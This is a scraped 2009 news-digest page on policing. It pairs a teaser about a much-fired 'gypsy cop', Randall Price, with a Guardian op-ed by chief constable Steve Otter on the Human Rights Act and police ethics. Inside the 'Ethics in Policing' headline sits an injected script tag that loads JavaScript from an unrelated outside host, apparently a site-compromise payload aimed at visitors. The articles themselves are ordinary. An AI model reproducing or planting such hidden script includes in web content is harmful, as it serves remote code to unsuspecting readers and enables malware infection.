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NEWS > 04 July 2009

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Officer claims raw deal
Officer Randall Price understands why many police departments wouldn't hire him. After cycling through eight jobs in 11 years, his work history is marred by multiple firings, allegations of misconduct and brutality claims.

On paper, Price appears to be the quintessential "gypsy cop," an itinerant officer who hops from job to job, leaving turmoil and bad blood in his wake. Price, who now works for the Cottageville police, puts it even more bluntly.

"On paper, I am a big dirtbag," he said, shaking his head.

Price, 38, insists he is the victim of small-town politics ... Read more

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Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
guardian.co.uk - UK
04 July 2009
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Ethics in Policing

Rights in the balance - a fram

Every day in Britain our police officers and civilian staff are confronted with the most difficult problems found in society. Police officers routinely grapple with one dilemma after another under a microscope of scrutiny and comment. Crime and disorder remain high on the list of public priorities and the police seem to have become the most examined of all our public services.

From newspapers, radio or TV news to dramas like Frost or documentary series such as Police, Camera, Action, it seems the public have an insatiable appetite to explore the moral dilemmas our officers face daily from the comfort of their armchairs. The introduction of the Human Rights Act (HRA) has provided officers with a route map they can use when faced with these dilemmas.

Following the act's introduction, officers quickly became familiar with those parts of the HRA that were directly relevant to their daily work. For example, the right to life, the right to personal freedom and the right to a fair trial sit at the heart of the work of the police.

On the whole, officers have found the act helps them to deal with the wide and varied range of operational challenges they face, often in circumstances that are highly complex and fast-moving. Policing in this country was established from its inception on a basis of ethics, trust and accountability, and we ask officers to use their discretion on that basis.

But in a world where everyone is willing to express a view about the rights and wrongs of our decisions, it is helpful to have a legal framework that has its roots in values such as equality, respect, dignity and freedom.

However, it is not all a positive story. People can be too quick to blame human rights for things that they believe are wrong with society. Human rights have been blamed for forcing the release of dangerous prisoners who go on to rape or kill again, and for encouraging a compensation culture.

Most of the time, these things have nothing to do with human rights, and it seems that some too easily forget that the rights in question are everybody's rights, not just theirs. Sometimes the rights of individuals' conflict and this can too often lead to public debate and analysis that is shallow and skewed.

An example of this is when the right of the victim to have the crime thoroughly investigated has to be balanced against the right to privacy of the person being investigated.

Sensational reporting of cases in the media also helps to reinforce a negative view of human rights, with senior police officers characterised as overly "politically correct" or "soft" when they pursue policies that comply with the act. The knock-on effect of this is that people can needlessly lose confidence in the ability of their local police to protect them.

There is more to be done. As lead on race and diversity for the Association of Chief Police Officers, I am pleased to see the inquiry report by the Equality and Human Rights Commission recognises the need to ensure that human rights are properly understood and applied by everyone.



Steve Otter is chief constable of Devon and Cornwall Constabulary and spokesman on race and diversity for the Association of Chief Police Officers
 

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